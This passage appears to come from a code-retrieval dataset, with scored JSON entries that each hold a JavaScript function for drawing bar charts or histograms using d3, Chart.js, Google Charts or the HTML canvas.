position\n var lastPos = null;\n\n for (var pos = start; pos < stop; pos++) {\n var bin = bins[pos];\n if (!bin) continue;\n\n // Restart path if first position or no bins before\n if (!lastPos || !bins[pos-1]) {\n let {barX1} = binPos(pos, bin.count);\n ctx.fillStyle = `rgba(${options.color.rgb.r}, ${options.color.rgb.g}, ${options.color.rgb.b}, ${options.color.rgb.a})`;\n ctx.beginPath();\n ctx.moveTo(barX1, vBasePosY);\n }\n\n ctx.pushObject(bin);\n let {barX1, barX2, barY} = binPos(pos, bin.count);\n ctx.lineTo(barX1, barY);\n ctx.lineTo(barX2, barY);\n if (showPadding) {\n ctx.lineTo(barX2, vBasePosY);\n ctx.lineTo(barX2 + 1, vBasePosY);\n }\n // close current path if next bin is going to be undefined\n if (!bins[pos+1]) {\n ctx.lineTo(barX2, vBasePosY); // right edge of the right bar.\n ctx.closePath();\n ctx.fill();\n }\n\n if (SHOW_MISMATCHES && !_.isEmpty(bin.mismatches)) {\n mismatchBins[pos] = bin;\n }\n lastPos = pos;\n ctx.popObject();\n }\n\n if (lastPos) {\n let {barX2} = binPos(lastPos, 0); // count does not matter, drawing vBasePosY\n ctx.lineTo(barX2, vBasePosY); // right edge of the right bar.\n ctx.closePath();\n ctx.fill();\n }\n\n // Now render the mismatches\n _.each(mismatchBins, (bin, pos) => {\n if (!bin.mismatches) return; // this is here for Flow; it can't really happen.\n const mismatches = _.clone(bin.mismatches);\n pos = Number(pos); // object keys are strings, not numbers.\n\n // If this is a high-frequency variant, add in the reference.\n var mismatchCount = _.reduce(mismatches, (x, y) => x + y);\n var mostFrequentMismatch = _.max(mismatches);\n if (mostFrequentMismatch > MISMATCH_THRESHOLD &&\n mismatchCount > options.vafColorThreshold * bin.count &&\n mismatchCount < bin.count) {\n if (bin.ref) { // here for flow; can't realy happen\n mismatches[bin.ref] = bin.count - mismatchCount;\n }\n }\n\n let {barX1, barX2} = binPos(pos, bin.count);\n ctx.pushObject(bin);\n var countSoFar = 0;\n _.chain(mismatches)\n .map((count, base) => ({count, base})) // pull base into the object\n .filter(({count}) => count > MISMATCH_THRESHOLD)\n .sortBy(({count}) => -count) // the most common mismatch at the bottom\n .each(({count, base}) => {\n var misMatchObj = {position: 1 + pos, count, base};\n ctx.pushObject(misMatchObj); // for debugging and click-tracking\n\n ctx.fillStyle = style.BASE_COLORS[base];\n var y = yScale(countSoFar);\n ctx.fillRect(barX1,\n y,\n Math.max(1, barX2 - barX1), // min width of 1px\n yScale(countSoFar + count) - y);\n countSoFar += count;\n\n ctx.popObject();\n });\n ctx.popObject();\n });\n}", "title": "" }, { "docid": "d1c8e12d996aa313285e88b2c8d6aa69", "score": "0.59795123", "text": "function makeBarStations(ctx) {\n myChart = new Chart(ctx, {\n type: \"bar\",\n data: {\n labels: [\"2003\", \"2004\", \"2005\", \"2006\", \"2007\", \"2008\", \"2009\",\n \"2010\", \"2011\", \"2012\", \"2013\", \"2014\", \"2015\", \"2016\"],\n datasets: [{\n label: '# in ' + statName[0],\n fill: false,\n borderColor: cols[0],\n backgroundColor: cols[0],\n data: selectData\n },\n {\n label: '# in ' + statName[1],\n fill: false,\n data: extraSelectedStat[0],\n borderColor: cols[1],\n backgroundColor: cols[1],\n },\n {\n label: '# in ' + statName[2],\n fill: false,\n data: extraSelectedStat[1],\n borderColor: cols[2],\n backgroundColor: cols[2]\n },\n {\n label: '# in ' + statName[3],\n fill: false,\n data: extraSelectedStat[2],\n borderColor: cols[3],\n backgroundColor: cols[3]\n },\n {\n label: '# in ' + statName[4],\n fill: false,\n data: extraSelectedStat[3],\n borderColor: cols[4],\n backgroundColor: cols[4]\n },\n {\n label: '# in ' + statName[5],\n fill: false,\n data: extraSelectedStat[4],\n borderColor: cols[5],\n backgroundColor: cols[5]\n }]\n },\n options: {\n title: {\n display: true,\n padding: 1,\n text: $(\"#crimeDd option:selected\").text()\n },\n responsive: true,\n maintainAspectRatio: false,\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero:true\n }\n }],\n // xAxes: [{\n // stacked: true\n // }]\n },\n tooltips: {\n mode: \"index\",\n intersect: false\n }\n }\n });\n}", "title": "" }, { "docid": "3182abbc35ef3e87451738a2f1047fd8", "score": "0.5969944", "text": "function createbar() {\n\n //set the dimensions of the canvas/graph\n margin = {top: 10, right: 20, bottom: 30, left: 50},\n width = parseInt(d3.select('#timeline').style('width'),10),\n width = (width - margin.left - margin.right),\n height = parseInt(d3.select('#timeline').style('height'),10)-margin.bottom - margin.top;\n //height = ((window.innerHeight) *.30)-margin.bottom - margin.top;\n\n console.log(width);\n console.log(height);\n //height = 270 - margin.top - margin.bottom;\n\n // console.log(height);\n\n bar1 = d3.select(\"#bar\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .append(\"g\")\n .attr(\"transform\",\"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n graphs.push({bar:bar1});\n\n}", "title": "" }, { "docid": "33d0e7faa4e66ac2fb0f207cd758e7b7", "score": "0.5966509", "text": "function drawCollumnVisitorsandLeads() {\n var data = new google.visualization.arrayToDataTable([\n ['Visitors & Leads Last 7 Days', 'Distance', 'Brightness'],\n ['January', 8000, 23.3],\n ['February', 24000, 4.5],\n ['March', 30000, 14.3],\n ['April', 50000, 0.9],\n ['May', 60000, 13.1]\n ]);\n\n var options = {\n width: 900,\n series: {\n 0: { axis: 'distance' }, // Bind series 0 to an axis named 'distance'.\n 1: { axis: 'brightness' } // Bind series 1 to an axis named 'brightness'.\n },\n axes: {\n y: {\n }\n }\n };\n\n var chart = new google.charts.Bar(document.getElementById('CollumnVisitorsandLeads'));\n chart.draw(data, options);\n}", "title": "" }, { "docid": "169f546caeafecc3d7bd02d00b085db4", "score": "0.5965676", "text": "function barsResize() {\n\n // Layout variables\n width = d3Container.node().getBoundingClientRect().width;\n\n\n // Layout\n // -------------------------\n\n // Main svg width\n container.attr(\"width\", width);\n\n // Width of appended group\n svg.attr(\"width\", width);\n\n // Horizontal range\n x.rangeBands([0, width], 0.3);\n\n\n // Chart elements\n // -------------------------\n\n // Bars\n svg.selectAll('.d3-random-bars')\n .attr('width', x.rangeBand())\n .attr('x', function(d,i) {\n return x(i);\n });\n }", "title": "" }, { "docid": "06ebb01a3c728818bc662a4000a6ba3a", "score": "0.5965128", "text": "function updateBarChart()\r\n{\r\n\tvar max;\r\n\tif ( mode == \"mole\" ) {\r\n\t\tmax = Math.max(moles[3][0], moles[3][1], moles[3][2], moles[3][3], moles[3][4], moles[3][5],\r\n\t\t\t\t\t\tmoles[4][0], moles[4][1], moles[4][2], moles[4][3], moles[4][4], moles[4][5]);\r\n\t}\r\n\telse {\r\n\t\tmax = Math.max(moles[3][0]*molarMass[0], moles[3][1]*molarMass[1],\r\n\t\t\t\t\t\tmoles[3][2]*molarMass[2], moles[3][3]*molarMass[3],\r\n\t\t\t\t\t\tmoles[3][4]*molarMass[4], moles[3][5]*molarMass[5],\r\n\t\t\t\t\t\tmoles[4][0]*molarMass[0], moles[4][1]*molarMass[1],\r\n\t\t\t\t\t\tmoles[4][2]*molarMass[2], moles[4][3]*molarMass[3],\r\n\t\t\t\t\t\tmoles[4][4]*molarMass[4], moles[4][5]*molarMass[5]);\r\n\t}\r\n\tcanvas1.scale = canvas1.graphHeight/max;\r\n\r\n\t// Clear the canvas\r\n\tcanvas1.cx.clearRect(0, 0, canvas1.width, canvas1.height);\r\n\r\n\tdrawBarChartAxis(max);\r\n\r\n\tdrawBarChartLegend();\r\n\r\n\tdrawBarChartBars(max);\r\n}", "title": "" }, { "docid": "8a38d40a0b3939bbe91c208417eb7013", "score": "0.59616464", "text": "function barsResize() {\n\n // Layout variables\n width = d3Container.node().getBoundingClientRect().width;\n\n\n // Layout\n // -------------------------\n\n // Main svg width\n container.attr('width', width);\n\n // Width of appended group\n svg.attr('width', width);\n\n // Horizontal range\n x.rangeBands([0, width], 0.3);\n\n\n // Chart elements\n // -------------------------\n\n // Bars\n svg.selectAll('.d3-random-bars')\n .attr('width', x.rangeBand())\n .attr('x', function(d,i) {\n return x(i);\n });\n }", "title": "" }, { "docid": "76b72ffd63183393a6ded12c675f1a5d", "score": "0.5961354", "text": "function drawBar(left, height, width)\r\n{\r\n\tdepth = canvas1.barDepth;\r\n\tslant = canvas1.barSlant;\r\n\tcanvas1.cx.beginPath();\r\n\tcanvas1.cx.rect(left, canvas1.graphBottom, width, -height);\r\n\tcanvas1.cx.fill();\r\n\tcanvas1.cx.stroke();\r\n\tif ( canvas1.threeD ) {\r\n\t\t// Top\r\n\t\tcanvas1.cx.beginPath();\r\n\t\tcanvas1.cx.moveTo(left, canvas1.graphBottom - height);\r\n\t\tcanvas1.cx.lineTo(left + slant, canvas1.graphBottom - height - depth);\r\n\t\tcanvas1.cx.lineTo(left + slant + width, canvas1.graphBottom - height - depth);\r\n\t\tcanvas1.cx.lineTo(left + width, canvas1.graphBottom - height);\r\n\t\tcanvas1.cx.closePath();\r\n\t\tcanvas1.cx.fill();\r\n\t\tcanvas1.cx.stroke();\r\n\t\t// Right\r\n\t\tcanvas1.cx.beginPath();\r\n\t\tcanvas1.cx.moveTo(left + slant + width, canvas1.graphBottom - height - depth);\r\n\t\tcanvas1.cx.lineTo(left + slant + width, canvas1.graphBottom - depth);\r\n\t\tcanvas1.cx.lineTo(left + width, canvas1.graphBottom);\r\n\t\tcanvas1.cx.lineTo(left + width, canvas1.graphBottom - height);\r\n\t\tcanvas1.cx.closePath();\r\n\t\tcanvas1.cx.fill();\r\n\t\tcanvas1.cx.stroke();\r\n\t}\r\n}", "title": "" }, { "docid": "438e92a15267da07cf588d16da718484", "score": "0.5957911", "text": "function barchart_voice_pre() {\n\n var svg = d3.select(\"#voice_pre_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.voice_pre);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.voice_pre);})\n .attr(\"fill\", voice_pre_color)\n .style(\"opacity\", barchart_opacity);\n\n // horizontal line to compare against:\n var line_height = (1 - control_voice) * height/4;\n var myLine = svg.append(\"svg:line\")\n .attr(\"x1\", 0)\n .attr(\"y1\", line_height)\n .attr(\"x2\", width)\n .attr(\"y2\", line_height)\n .style(\"stroke\", \"lightgray\");\n });\n }", "title": "" }, { "docid": "61e6e442285adb66d05ebf8e7f21141b", "score": "0.5955461", "text": "clearBarcharts() {\n d3.select(\"svg\")\n .selectAll(\".barGroup\")\n .remove()\n d3.selectAll('.axis')\n .remove()\n }", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.5952657", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.5952657", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });\n //.order(); // not sure if this makes any sense for this model\n\n });\n\n return chart;\n }", "title": "" }, { "docid": "c2d3a63e9eb94ee82d2af22150326377", "score": "0.5950609", "text": "function BarGraph(props) {\n return (\n <svg width={width} height={height}>\n {data.map((d, i) => {\n const barHeight = yMax - yPoint(d);\n return (\n <Group key={`bar-${i}`}>\n <Bar\n x={xPoint(d)}\n y={yMax - barHeight}\n height={barHeight}\n width={xScale.bandwidth()}\n fill='#fc2e1c'\n />\n </Group>\n );\n })}\n </svg>\n );\n}", "title": "" }, { "docid": "41009cec75788b7ce3fce6fa379a0d78", "score": "0.59493786", "text": "function barchart_tap_post() {\n\n var svg = d3.select(\"#tap_post_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n // Create the chart:\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.tap_post);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.tap_post);})\n .attr(\"fill\", tap_post_color);\n });\n }", "title": "" }, { "docid": "9ad7d123b2b6b36cc07ad732b3559905", "score": "0.5948034", "text": "function bar(d) {\n var bar = svg.insert(\"g\", \".y.axis\")\n .attr(\"class\", \"enter\")\n .attr(\"transform\", \"translate(0,5)\")\n .selectAll(\"g\")\n .data(d.children)\n .enter().append(\"g\")\n .attr(attrName, \"\")\n .style(\"cursor\", function (d) { return !d.children ? null : \"pointer\"; })\n .on(\"click\", down);\n bar.append(\"text\")\n .attr(attrName, \"\")\n .attr(\"x\", -6)\n .attr(\"y\", barHeight / 2)\n .attr(\"dy\", \".35em\")\n .style(\"text-anchor\", \"end\")\n .text(function (d) { return d.name; });\n bar.append(\"rect\")\n .attr(attrName, \"\")\n .attr(\"width\", function (d) { return x(d.value); })\n .attr(\"height\", barHeight);\n return bar;\n }", "title": "" }, { "docid": "7374565fc772a8fc38278aac22dd312c", "score": "0.5941131", "text": "function drawContributorBarChart() {\n var data = [],\n map = {}, // image by user and status\n statuses = [],\n imageByStatus = {}, // image by status\n colors = _helper.getColors();\n\n // classify image by user and status\n images.forEach(function(item) {\n let image = new Image(item);\n let user = image.get('contributor');\n let status = image.get('status');\n\n if (statuses.indexOf(status) == -1) {\n statuses.push(status);\n }\n\n // get image by status\n if (!imageByStatus[status]) imageByStatus[status] = 0;\n imageByStatus[status] += 1\n\n // image by user and status\n if (!map[user]) map[user] = {};\n if (!map[user][status]) map[user][status] = 0;\n map[user][status]++;\n });\n\n // create dataset \n for (let key in map) {\n let values = [];\n for (let status in map[key]) {\n values.push({\n 'status': status,\n 'value': map[key][status]\n });\n }\n\n data.push({\n \"label\": key,\n \"value\": values,\n });\n }\n\n var margin = { top: 40, right: 30, bottom: 80, left: 40, legend: 60 },\n width = $(document).width() / 2 - margin.left - margin.right,\n height = 500 - margin.top - margin.bottom;\n\n var x0 = d3.scale.ordinal()\n .rangeBands([0, width], .2)\n .domain(data.map(function(d) {\n return d.label;\n }));\n\n var x1 = d3.scale.ordinal()\n .rangeBands([0, x0.rangeBand()])\n .domain(statuses);\n\n var z = d3.scale.category10();\n var colors = {};\n statuses.forEach(function(status, i) {\n colors[status] = z(i);\n });\n // hard code for color of (DONE, ACCEPT and TODO)\n colors['DONE'] = '#1F77B4';\n colors['ACCEPTED'] = '#2CA02C';\n colors['TODO'] = '#FF7F0E';\n\n var y = d3.scale.linear()\n .range([height, 0])\n .domain([0, d3.max(data, function(d) {\n return d3.max(d.value, function(v) {\n return v.value;\n });\n })])\n .nice();\n\n var svg = d3.select(\"#contributorBarChart\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right + margin.legend)\n .attr(\"height\", height + margin.top + margin.bottom)\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n svg.append(\"g\")\n .attr(\"transform\", \"translate(\" + (width / 2) + \", -10)\")\n .append(\"text\")\n .text(images.length + \" Images by Contributors\")\n .style({ \"text-anchor\": \"middle\", \"font-size\": \"24px\", \"font-family\": \"open sans\" });\n\n var tip = d3.tip()\n .attr('class', 'contributor-tip')\n .offset([-10, 0])\n .html(function(d) {\n return \"<strong>Images:</strong> <span style='color:red'>\" + d.value + \"</span>\";\n })\n svg.call(tip);\n\n svg.append(\"g\")\n .attr(\"class\", \"x axis contributor\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(d3.svg.axis().scale(x0).orient(\"bottom\"))\n .selectAll(\"text\")\n .attr(\"y\", 0)\n .attr(\"x\", 9)\n .attr(\"transform\", \"rotate(60)\")\n .style(\"text-anchor\", \"start\");;\n\n svg.append(\"g\")\n .attr(\"class\", \"y axis\")\n .call(d3.svg.axis().scale(y).orient(\"left\"));\n\n svg.append(\"g\").selectAll(\"g\")\n .data(data)\n .enter().append(\"g\")\n .attr(\"transform\", function(d) {\n return \"translate(\" + x0(d.label) + \",0)\";\n })\n .selectAll(\".bar.contributor\")\n .data(function(d) {\n return d.value;\n })\n .enter().append(\"rect\")\n .attr(\"class\", \"bar category\")\n .attr(\"width\", x1.rangeBand())\n .attr(\"height\", function(d) {\n return height - y(d.value);\n })\n .attr(\"x\", function(d, i) {\n return x1(d.status);\n })\n .attr(\"y\", function(d) {\n return y(d.value);\n })\n .style(\"fill\", function(d, i) {\n return colors[d.status];\n })\n .on('mouseover', tip.show)\n .on('mouseout', tip.hide);\n\n // create legend\n var legend = svg.append(\"g\")\n .attr(\"font-family\", \"sans-serif\")\n .attr(\"font-size\", 10)\n .attr(\"text-anchor\", \"end\")\n .selectAll(\"g\")\n .data(statuses)\n .enter().append(\"g\")\n .attr(\"transform\", function(d, i) {\n return \"translate(0,\" + i * 20 + \")\";\n });\n\n legend.append(\"rect\")\n .attr(\"x\", width + margin.right + margin.legend - 19)\n .attr(\"width\", 19)\n .attr(\"height\", 19)\n .style(\"fill\", function(d) {\n return colors[d];\n });\n\n legend.append(\"text\")\n .attr(\"x\", width + margin.right + margin.legend - 24)\n .attr(\"y\", 9.5)\n .attr(\"dy\", \"0.32em\")\n .text(function(d) {\n return imageByStatus[d] + \" \" + d;\n });\n\n }", "title": "" }, { "docid": "07f657bde473fc6cf0dbe49339ea4275", "score": "0.59139365", "text": "createHistogramBarsVertical() {\n let self = this;\n\n //draw bars on histogram\n let bar = this.parent.selectAll(\".bar\")\n .data(this.histogramData)\n .enter()\n .append(\"g\")\n .attr(\"class\", \"bar\")\n .attr(\"id\", 1)\n .attr(\"transform\", function (d) {\n //draws upper left corner of bar, so must subtract width of bar (self.xScale(d.dx)) for vertical bars\n return \"translate(\" + (self.yScale(d.y) - self.margin.right) + \",\" + (self.margin.top + self.chartHeight - self.xScale(d.dx + d.x)) + \")\";\n });\n\n bar.append(\"rect\")\n .attr(\"x\", 1)\n .attr(\"height\", self.xScale(this.minValue + this.histogramData[0].dx) - 1)\n .attr(\"width\", function (d) {\n return (self.chartWidth - self.yScale(d.y));\n })\n .style(\"fill\", \"steelblue\");\n }", "title": "" }, { "docid": "5a99140eb7829a12fdec4f376b429ed3", "score": "0.5908113", "text": "function bar_chart() {\n d3.selectAll(\"svg\").remove();\n d3.selectAll(\"#stats_tb\").remove();\n d3.selectAll(\"#tooltip\").remove();\n\n // d3.selectAll(\"table\").remove();\n var d1 = document.getElementById(\"pie_chart\");\n var d2 = document.getElementById(\"bar_chart\");\n if (d2.style.display === \"none\") {\n d1.style.display = \"none\";\n d2.style.display = \"block\";\n }\n bar()\n }", "title": "" }, { "docid": "b16f0048efec9c366ea420440cf793e4", "score": "0.5900905", "text": "function drawbarrinha() {\r\n ctx.beginPath();\r\n ctx.rect(barrinha.x, barrinha.y, barrinha.w, barrinha.h);\r\n ctx.fillStyle = '#F2DEA0';\r\n ctx.fill();\r\n ctx.closePath();\r\n}", "title": "" }, { "docid": "4d3301ea697f422ec96338aecff38fd3", "score": "0.58944327", "text": "function drawHighlightBars() {\n\n let circles = 